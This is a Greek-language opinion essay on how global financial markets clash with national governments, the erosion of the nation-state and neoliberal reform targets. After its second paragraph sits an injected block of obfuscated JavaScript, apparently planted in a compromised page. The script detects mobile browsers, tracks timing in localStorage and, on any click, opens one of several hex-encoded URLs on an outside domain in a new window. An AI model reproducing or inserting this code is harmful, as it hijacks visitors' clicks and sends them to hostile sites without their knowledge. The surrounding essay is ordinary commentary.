«ΣΥΓΚΡΟΥΣΗ» ΑΓΟΡΩΝ ΚΑΙ ΠΟΛΙΤΙΚΩΝ

Οι περισσότεροι βλέπουν τις εξελίξεις των γεγονότων να τους αφήνουν πίσω, με απάθεια και προσποιητή αδιαφορία. Για την ακρίβεια, δεν είναι σε θέση να αντιληφθούν τις αιτίες δημιουργίας συγκεκριμένων γεγονότων που στην ουσία τους διαφέρουν από όσα γνώριζαν μέχρι τώρα. Άλλοι μη αναγνωρίζοντας το σχήμα με το οποίο εμφανίζονται αυτά, τα καταγγέλλουν και τα εξορκίζουν αποδίδοντας τα σε εχθρικές και συνωμοτικές δυνάμεις.

Ταυτόχρονα η νέα «άγνωστη» σύσταση των γεγονότων δημιουργεί φόβο, εσωστρέφεια και αμυντική επιθετικότητα στις αμαθείς μάζες όπως παλιότερα οι άγνωστες εκδηλώσεις της φύσης.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x

314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a

a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Γεγονότα όπως η διεθνοποίηση των αγορών, η παγκοσμιοποίηση των θεσμών, η τιτλοποίηση των χρεών, οι διεθνείς συναλλαγές για τον καθορισμό της τιμής των εμπορευμάτων / νομισμάτων, η αλληλεξάρτηση των οικονομιών, η απεριόριστη κινητικότητα των κεφαλαίων, η συγκρότηση διεθνούς οικονομικής «τάξης» διευθυντικών στελεχών, η χρεοστικότητα των οικονομιών, η αναλογία δεξιότητας / απόδοσης, η δημοκρατικοποίηση των αγορών συναλλάγματος, παραγώγων και επιχειρησιακών τίτλων και πολλά ακόμα, είναι νέα τουλάχιστον για την μεταπολεμική περίοδο, τόσο στην Ευρώπη όσο και στον υπόλοιπο κόσμο. Τα γεγονότα αυτά θεωρούνται ότι είναι οι προπομποί μιας νέας διεθνούς πραγματικότητας η οποία τείνει να καταργήσει την προηγούμενη συγκρότηση δηλαδή τη τάξη των εθνικών κρατών. Τα σύνορα έπεσαν, προσωρινά ή μόνιμα, τουλάχιστον στον οικονομικό χώρο.

Στον πολιτικό και πολιτισμικό χώρο η κατάσταση που προσδιορίζει τα γεγονότα είναι ανάμικτη. Συνυπάρχουν θα έλεγα δύο αντιτιθέμενες τάσεις οι οποίες καταφέρνουν, αφού είναι ισοδύναμες, να ακινητοποιούν τις εξελίξεις, να δημιουργούν συγχύσεις και να οδηγούν σε συγκρούσεις.

Το γνωστό σε όλους οικονομικό και κοινωνικό σύστημα του καπιταλισμού για άλλη μία φορά στην ιστορία του επεκτείνεται και λαμβάνει παγκόσμια μορφή. Αυτή τη φορά όμως τα πράγματα φαίνονται και είναι διαφορετικά. Οι γιγαντιαίοι χώροι των εργοστασίων της βιομηχανίας, της μεταποίησης και της ορυχείας του παρελθόντος υπάρχουν βέβαια και σήμερα αλλά τα ποσοστά των κερδών που παράγουν είναι μικρά έως και κοινωνικά υποτυπώδη. Τα τεϋλορικά και φορντικά συστήματα των αρχών του προηγούμενου αιώνα δείχνουν πλέον να είναι ανήμπορα να οργανώσουν τις δυνάμεις της εργασίας, του χρόνου και της παραγωγής. Οι οχλούσες ενεργειακές πρώτες ύλες έχουν θαφτεί στα υπόσκαφα της βιομηχανικής τεχνολογίας τουλάχιστον στον δυτικό κόσμο. Το χρονόμετρο του εργάτη και τα χρωματιστά κολάρα των εργασιακών διακρίσεων αναρτήθηκαν στα ράφια των βιομηχανικών μουσείων. Οι σειρές της μαζικής παραγωγής τυποποιημένων και ομοιόμορφων προϊόντων δεν ανταποκρίνονται πια στις καταναλωτικές προτιμήσεις που διαβαθμίζονται τώρα έως και το προσωπικό επίπεδο. Οι μεγάλες ποσότητες των οικονομιών κλίμακας με τις περιβαλλοντοβόρες εισροές που απαιτούσαν παραμερίζουν προς χάριν των ποιοτικών και αναλώσιμων τεχνολογιών. Οι εθνικές αγορές, οι ποικίλες μορφές προστασίας των εθνικών συνόρων, οι δασμοί και οι ποσοστώσεις που διατηρούσαν τάχα την απασχόληση σε υψηλά επίπεδα, εμποδίζοντας τις εισαγωγές, θεωρούνται αντιαναπτυξιακές καταστάσεις και παραβλέπονται σε όφελος των υπερεθνικών αγορών και της ελεύθερης διακίνησης των οικονομικών μέσων. Η εν σειρά παραγωγική διαδικασία που θανάτωνε την παραγωγική ικμάδα του εργάτη με την επαναληπτικότητα και τη μονοτονία, ακούσια ή εκούσια, δημιουργεί χώρο για την ευρηματικότητα, την καινοτομία και την πρωτοτυπία. Στις εγκαταστάσεις της Google ή της IBM, οι μικροί κύκλοι δημιουργικής εργασίας που εξειδικεύονται και στις πιο απίθανες μορφές εκδήλωσης της ανθρώπινης συμπεριφοράς, ανταμείβονται με μη συμβατικούς τρόπους και κατοχυρώνουν νέα εργασιακά πρότυπα.

Τα μεγάλα αυτά κύματα των αλλαγών που υποδαύλισε η τεχνολογική και επιστημονική οργάνωση των πληροφοριών από τη μια και ο πολιτικός θετικισμός από την άλλη, εισέβαλλαν και κατάργησαν τα εθνικά άσυλα των κρατών στα οποία κρύβονταν κάθε είδους ασχήμιες, αναχρονισμοί και καταπατήσεις δικαιωμάτων που προέρχονταν από λογής λογής δικτατορίσκους, δεσποτικά κόμματα, άκαμπτους και αναχρονιστικούς ταξικούς θεσμούς, μπαρόκ λαϊκισμούς, υποκριτές ιδιοτελείς «πολιτικούς» και απολυταρχικά καθεστώτα.

Οι διαδικασίες των μετασχηματισμών όμως δεν έχουν τελειώσει ακόμα. Βρίσκονται σε εξέλιξη και οι αντιτιθέμενες δυνάμεις μάχονται για την διατήρηση και κατάκτηση αυτών που νομίζουν ότι δικαιούνται. Οι κοινωνίες αποκτούν νέα επαγγελματικά στρώματα, πολύμορφες στιβάδες προτιμήσεων και νέες προτεραιότητες. Ό,τι βρίσκονταν στο κέντρο τους στο πρόσφατο παρελθόν, όπως η εργατική και βιομηχανική τάξη με τα πολιτιστικά τους πρότυπα, τείνουν να εξωθηθούν στη περιφέρεια.

Πάνω απ' όλα όμως εκείνο που απειλείται περισσότερο είναι η ιδεολογία του Έθνους / Κράτους. Βάλλεται αυτό και καρκινοβατεί μεταξύ της επέκτασης των υπερεθνικών οριοθετήσεων και των τοπικών προσδιορισμών που ολοένα και του αφαιρούν εξουσίες.

Ιστορικά θα πρέπει να θυμηθούμε πως το εθνικό κράτος στέγασε κάτω από τον προστατευτικό του μανδύα και εναρμόνισε παραδόσεις και συμφέροντα διαφορετικών φυλετικών και πολιτισμικών ομάδων. Στην ουσία συνέστησε την ιδεολογία του βιομηχανικού καπιταλισμού που επεδίωκε ενοποίηση των αγορών και τυποποίηση των καταναλωτικών προτιμήσεων. Στοιχεία που θεωρήθηκαν οι προϋποθέσεις για την μαζική παραγωγή, τα μεγάλα μεγέθη και τις απαιτήσεις των οικονομιών κλίμακας.

«Ο μεγάλος μετασχηματισμός» όμως του συστήματος σε διαφοροποιημένες αγορές, σε τμηματοποίηση της παραγωγής, στην εμπορευματοποίηση του κεφαλαίου και στην εκμετάλλευση των οικονομικών «εφαρμογών» γνώσης, σκόρπισε δεξιά και αριστερά όλα τα προηγούμενα μοτίβα και πάει να φέρει μία νέα κοινωνική και οικονομική οριοθέτηση.

Η νέα αυτή παγκόσμια οικονομική διαμόρφωση που έχει ως επίκεντρο την παροχή χρηματοοικονομικών υπηρεσιών, των υπηρεσιών ατομικής φροντίδας, των κερδοφόρων μεταβιβάσεων κεφαλαίων και των καινοτομικών γνωστικών ηλεκτρονικών εφαρμογών, έχει πάρα πολλές απαιτήσεις από τα δρώντα οικονομικά ανθρώπινα υποκείμενα. Δεδομένου ότι οι παγκόσμιες χρηματοοικονομικές συναλλαγές διεξάγονται πάνω σε εικονικές παραστάσεις πραγματικών οικονομικών μεγεθών, όπως είναι οι μετοχές επιχειρήσεων, τα εμπορεύματα, τα ξένα νομίσματα, τα παράγωγα και τα αντιπαράγωγα τους, τα δημόσια χρέη και τα ασφάλιστρα τους, τις θετικές και αρνητικές προσδοκίες, και πολλά ακόμα, α-τοπικά και απρόσωπα, θα πρέπει κανείς να χρησιμοποιήσει μίγματα μεταφυσικών και ρεαλιστικών μοντέλων, ορθολογικών και ανορθόλογων, βραχυπρόθεσμου και μακροπρόθεσμου ορίζοντα, και άλλα αντιφατικά, προκειμένου να επενδύσει επιτυχώς το κεφάλαιο του ώστε να το πολλαπλασιάσει ταχέως. Δεν είναι όπως παλιά που ήξερες πως η επένδυση σε βιομηχανική εγκατάσταση θα σου απέφερε ένα ετήσιο κέρδος κοντά στο 15% με χρόνο απόσβεσης τουλάχιστον μία πενταετία. Σήμερα στο ίδιο χρονικό διάστημα ο επενδυτής μπορεί να πολλαπλασιάσει το κεφάλαιο του επί πέντε ή επί δέκα ή και περισσότερο αν προβλέψει σωστά τις εξελίξεις των τιμών.

Αυτές οι ικανότητες δεν είναι οικείες στο σημερινό άνθρωπο ούτε στη Δύση ούτε στην Ανατολή. Απαιτεί πολλές γνώσεις, αποφασιστικότητα ρομπότ και ισχυρή ψυχολογία ανάληψης ρίσκου. Όσοι τις διαθέτουν σχηματίζουν ένα λεπτό στρώμα επιχειρήσεων πάνω στη κοινωνία και αμείβονται με υπέρογκα ποσά, μπόνους, δώρα και άϋλους τίτλους. Δημιουργούνται γιγαντιαίες ανισότητες εισοδημάτων, τρόπων ζωής και προτύπων

κουλτούρας μέσα στις χώρες αλλά και μεταξύ των χωρών. Σιγά σιγά τα νέα αυτά μοτίβα εξαπλώνονται σε μεγαλύτερες περιοχές της κοινωνίας, νέες επιστημονικές διατυπώσεις αναφύονται στα μαθηματικά και στη στατιστική, στη πληροφορική και στη βιοτεχνολογία, στην οικονομία και στη διεθνή γεωπολιτική. Η παραδοσιακή εικόνα του βιομηχανικού πολιτισμού φαίνεται να θολώνει και μαζί της οι πολιτιστικές αξίες που ενέπνεε.

Η νέα εκδοχή του καπιταλισμού είναι αδυσώπητη κοινωνικά. Κυνικά σκληρή και ανάλγητη εξουδετερώνει κάθε αδύναμο ον που θα βρει στο δρόμο της, είτε αυτό είναι επιχείρηση είτε είναι κράτος είτε ακόμα και φυσικό πρόσωπο. Η δικαιολογία είναι ότι οι άνθρωποι οφείλουν να είναι ορθολογικά όντα γιατί διαθέτουν νόηση και ότι κάθε λάθος τους συλλογικό ή ατομικό θα πρέπει να πληρώνεται όπως και κάθε ορθή επιλογή δικαιούται να ανταμείβεται. Ενώ όμως οι πληθυσμοί των χωρών αυξάνονται και ενώ κάθε κρατική και πολιτική οντότητα δεν διαθέτει τις υψηλές δεξιότητες του σύγχρονου οικονομικού ορθολογισμού αλλά ούτε και τα συστήματα εκπαίδευσης είναι στραμμένα προς αυτή την κατεύθυνση, οι κοινωνικοί προϋπολογισμοί γίνονται γιγαντιαίοι και τα ελλείμματα που παράγουν καλύπτονται από δανεισμό ο οποίος με τη σειρά του εκτρέφει το τέρας των χρηματαγορών.

Οι πολιτικοί και οι κυβερνήσεις καλούνται να αντιμετωπίσουν μεγάλα διλήμματα και να επιλύσουν πολλές αντιφάσεις. Τα κοινωνικά στρώματα που είναι συνδεδεμένα με τους φθίνοντες κλάδους τους συστήματος έχουν ανάγκη από οικονομικές και κοινωνικές παροχές γιατί διαφορετικά θα σταματήσουν να ενισχύουν πολιτικά τις κυβερνήσεις με τη ψήφο τους. Οι κυβερνήσεις δημιουργούν ελλείμματα για να μη χάσουν την πολιτική υποστήριξη και αυτά χρηματοδοτούνται από τις διεθνείς αγορές οι οποίες τελικά θέτουν όρους υψηλής απόδοσης. Αν οι πολιτικοί δεν θέλουν ξένο δανεισμό δεν θα πρέπει να δημιουργούν ελλείμματα αλλά έτσι νομοτελειακά θα απολέσουν την εξουσία. Συνήθως στις περιφερειακές και αδύναμες χώρες οι δανειοδοτήσεις των ελλειμμάτων έχουν το χαρακτήρα καταναλωτικών δαπανών και μεταβιβαστικών πληρωμών και όχι παραγωγικών επενδύσεων οι οποίες απαιτούν ισχυρά θεσμικά δίκτυα και συστήματα παραγωγής υπεραξιών. Συστήματα δηλαδή που αν υπήρχαν διαθέσιμα δεν θα ήταν αναγκαίος ο εξωτερικός ή εσωτερικός δανεισμός.

Οι αγορές, δηλαδή οι πιστωτικές εταιρίες που κατέχουν τους κεφαλαιακούς πόρους των χρηματοδοτήσεων των κρατών, απαιτούν την πρόσδεση αυτών των τελευταίων σε ένα

κονσένσους λειτουργιών που ουσιαστικά τους αφαιρεί την οικονομική και κατ' επέκταση την πολιτική κυριαρχία. Φαινομενικά δεν είναι ούτε δεσποτικό ούτε απολυταρχικό το παγκόσμιο σύστημα των οικονομικών αποδόσεων. Κάθε κράτος προσφεύγει οικία βουλήσει στην «αυλή» των αγορών επιδεικνύοντας την προθυμία του να πληρώσει για τα λάθη που έπραξε στο παρελθόν. Ουσιαστικά όμως δημιουργεί τους όρους και τις κατάλληλες συνθήκες στο οικονομικό παίγνιο ώστε οι πιο ασθενείς χώρες να παραδίδουν εθνική κυριαρχία και οικονομικούς πόρους σε λίγα αναγνωρισμένα διεθνή κέντρα ισχύος για να αποφύγουν την ολοσχερή κατάρρευση.

Το Σίτυ του Λονδίνου, η Wall Street, το Χόγκ Κόνγκ, το Τόκιο, η Φρανκφούρτη τελευταία και η Σιγκαπούρη, διαθέτουν τόση ισχύ και τόσο μεγάλη κεφαλαιακή πυκνότητα ώστε οι κυβερνήσεις των χωρών τους να σπεύδουν πρόθυμες σε κάθε τους κέλευσμα, λογικό ή παράλογο. Από την άλλη πλευρά οι περιφερειακές κυβερνήσεις προσπαθούν να υιοθετήσουν και να θεσπίσουν μεταρρυθμίσεις με τις οποίες θα οικοδομηθεί ένα ευνοϊκό ευέλικτο επενδυτικό περιβάλλον που θα προσελκύει κεφάλαια και θα εγγυάται για την ασφάλεια τους. Οι μεταρρυθμίσεις αυτές αφορούν στην αγορά εργασίας όπου θα πρέπει να δεσπόζει η αρχή ότι αμείβεται καλά μόνο αυτός που βοηθά με τις γνωσιακές του δεξιότητες την επιχείρηση να παράξει υπεραξία, ενώ ο άλλος που προσφέρει τυποποιημένη εργασία θα αμείβεται με το κατώτερο μισθό ή θα παραμένει άνεργος, αφορούν οι μεταρρυθμίσεις στο μετριασμό των κρατικών ιδιοκτησιακών δικαιωμάτων πάνω στους οικονομικούς πόρους και στην παραχώρηση τους στην ιδιωτική εκμετάλλευση και τέλος αφορούν στην νομική κατοχύρωση των αρχών ότι δεν υπάρχει πλέον δωρεάν γεύμα για κανέναν πλην των «φιλανθρωπικών γευμάτων» αφ' ενός και αφ' εταίρου ότι τα δρώντα οικονομικά υποκείμενα που συμμετέχουν ανεμπόδιστα στις αγορές γνωρίζουν καλύτερα από τους κρατικούς υπαλλήλους να προασπίσουν και να προωθήσουν τα συμφέροντα τους.

Αν εφαρμοσθούν οι αλλαγές αυτές και τροποποιηθούν τα παλιά συστήματα τότε οι κυβερνήσεις θα μπορούν να δανεισθούν με χαμηλό επιτόκιο και να εκτελέσουν τα προγράμματα τους.

Στο επίπεδο των μετρήσιμων αποδόσεων οι μεταρρυθμίσεις οφείλουν να επιφέρουν τα εξής γενικά αποτελέσματα τα οποία θεωρούνται αποδεκτά και επιτυχή:

Η ανεργία δεν θα πρέπει να ξεπερνά το φυσικό της ποσοστό που υπολογίζεται γύρω από το 6-7%.

Ο πληθωρισμός δεν θα πρέπει να υπερβαίνει το 2% ετησίως. Τα επιτόκια είναι πάντα συνδεδεμένα με την ποσότητα χρήματος που κυκλοφορεί καθώς και με το ύψος των τιμών.

Το προϊόν θα πρέπει να αυξάνει κάθε χρόνο πάνω από το 2% και να μοιράζεται στους οικονομικούς συντελεστές σύμφωνα όχι με τη κοινωνική αλλά την ατομική τους παραγωγικότητα.

Οι αμοιβές εργασίας δεν θα πρέπει να αυξάνονται γρηγορότερα από το ποσοστό κέρδους και την συνολική αποδοτικότητα.

Οι κρατικοί προϋπολογισμοί τέλος θα πρέπει αν δεν είναι ισοσκελισμένοι να διατηρούν ένα πολύ μικρό και ελεγχόμενο έλλειμμα που θα μπορεί να χρηματοδοτείται από τον εξωτερικό δανεισμό ο οποίος με τη σειρά του δεν θα πρέπει να ξεπερνά ένα συγκεκριμένο ποσοστό του ΑΕΠ, (60%).

Αν όλα τα παραπάνω συμβαίνουν τότε οι χώρες είναι αξιόχρεες και οι κυβερνήσεις τους αξιόπιστες.

Οφείλω δεν εδώ να σημειώσω ότι αυτές τις αποδόσεις τις επιτυγχάνουν ελάχιστες χώρες στον πλανήτη με αιματηρές θυσίες, όπως μέχρι πρότινος η Γερμανία, με υπέρ συγκέντρωση πλούτου και χαμηλή στάθμη κοινωνικής ευημερίας.

Η νέα εκδοχή του συστήματος προϋποθέτει τρία κριτήρια αποδοτικής οικονομικής συμπεριφοράς. Πρώτον, η γνώση των λειτουργιών του είναι πηγή πλούτου, δεύτερον, οι άνθρωποι που συμμετέχουν στις αγορές είναι ορθολογικά σκεπτόμενοι και δρώντες παραγωγικοί συντελεστές και τρίτον η απόλυτος διαφάνεια του συστήματος επιτρέπει στον καθένα να γίνει κάτοχος γενικών και ειδικών πληροφοριών που τον αφορούν.

Και τα τρία κριτήρια είναι ανυπόστατα και μοιάζουν περισσότερο με ιδεολογήματα και ιδιοτελείς προτροπές του χρηματοοικονομικού νεοφιλελευθερισμού παρά με αξωματικές σταθερές αρχές συστημικής λειτουργίας ενός κοινωνικού συστήματος. Και τούτο γιατί πρώτον: δεν υπάρχουν σταθερές λειτουργίες ώστε να γνωσθούν και να αποτελέσουν

επιστημονικό εξοπλισμό θετικών οικονομικών δράσεων. Υπάρχουν πιθανοφανή ενδεχόμενα η πραγματοποίηση των οποίων στηρίζεται σε ένα πλέγμα απρόβλεπτων αλληλεπιδράσεων. Οι παράγοντες που επηρεάζουν τις εμφανιζόμενες εξελίξεις είναι τόσοι πολλοί που κανείς δεν νιώθει σίγουρος για τις προβλέψεις του. Έτσι το γεγονός έχει μετατραπεί σε προσδοκία γεγονότος. Το τυχαίο εκτοπίζει το αναγκαίο.

Δεύτερον, όλοι οι άνθρωποι δεν είναι ορθολογικοί με την έννοια της επιδίωξης νομισματικού κέρδους. Οι κλίμακες αξιών διαφέρουν από λαό σε λαό ή από εθνότητα σε εθνότητα. Δεν είναι ανάγκη να αναλύσω τη φράση. Για πολλούς, η τιμή, η ηθική και η αξιοπρέπεια είναι υπέρτερα αγαθά από την με κάθε μέσο απόκτηση χρήματος. Τρίτον, το σύστημα δεν είναι απολύτως διαφανές και άνευ τριβών όπως διατείνονται οι εκπρόσωποι του. Υπάρχουν κλειστά συστήματα κυκλοφορίας των πληροφοριών, λόμπις και μηχανισμοί αλλοίωσης και αντιπληροφόρησης.

Όλα τα παραπάνω συνιστούν την σύγχρονη πραγματικότητα. Τα παράγωγα ζεύγη των αντιθέσεων: πλούτου / φτώχειας, τεχνολογική – επιστημονική πρόοδος / καθυστέρηση, ανάπτυξη / υπανάπτυξη, υγεία / ασθένεια, περιβαλλοντική ορθότητα / εξάντληση πόρων, κλπ, βρίσκονται σε μεγαλύτερη ένταση από ποτέ άλλοτε.

